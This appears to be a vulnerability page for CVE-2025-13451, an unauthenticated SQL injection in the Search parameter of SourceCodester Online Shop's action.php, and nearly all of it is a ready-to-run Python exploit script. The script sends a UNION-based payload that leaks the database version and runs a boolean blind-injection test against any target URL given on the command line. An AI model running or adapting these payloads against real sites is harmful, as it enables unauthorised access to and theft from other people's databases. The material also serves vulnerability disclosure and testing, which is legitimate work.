CVE-2025-13451 | SourceCodester在线商店/action.php Search参数SQL注入漏洞

import requests import sys # CVE-2025-13451 PoC - SQL Injection in /action.php Search parameter # Target: SourceCodester Online Shop Project 1.0 # Vulnerability: Unauthenticated SQL Injection via Search parameter def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-13451 This PoC demonstrates extracting database version information """ # Target endpoint with vulnerable Search parameter endpoint = f"{target_url}/action.php" # Payload to extract database version # Using UNION-based SQL injection payload = "' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--" params = { "page": "search", "Search": payload } print(f"[*] Target: {target_url}") print(f"[*] Sending malicious request...") try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: # Check for database version in response if '5.' in response.text or '8.' in response.text or 'MariaDB' in response.text: print("[+] SQL Injection successful! Database info leaked.") print(f"[+] Response length: {len(response.text)} bytes") else: print("[-] Database version not found in response") print("[*] Try modifying payload for different data extraction") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def blind_sqli_test(target_url): """ Boolean-based blind SQL injection test """ endpoint = f"{target_url}/action.php" # True condition payload true_payload = "' AND 1=1--" # False condition payload false_payload = "' AND 1=2--" params_true = {"page": "search", "Search": true_payload} params_false = {"page": "search", "Search": false_payload} try: resp_true = requests.get(endpoint, params=params_true, timeout=10) resp_false = requests.get(endpoint, params=params_false, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[+] Blind SQL Injection confirmed!") print(f"[+] True response: {len(resp_true.text)} bytes") print(f"[+] False response: {len(resp_false.text)} bytes") else: print("[-] Blind SQLi test inconclusive") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_13451_poc.py <target_url>") print("Example: python cve_2025_13451_poc.py http://target.com/shop") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) print("\n[*] Running blind SQL injection test...") blind_sqli_test(target)